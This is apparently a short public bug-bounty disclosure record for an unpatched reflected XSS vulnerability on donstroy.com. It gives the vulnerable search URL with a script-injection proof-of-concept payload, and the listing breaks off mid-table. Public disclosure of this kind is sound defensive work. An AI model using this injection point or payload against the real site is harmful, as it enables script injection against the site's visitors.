donstroy.com XSS vulnerability

Vulnerable URL: http://donstroy.com/site-search?search=%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 381459 VIP website status:| No...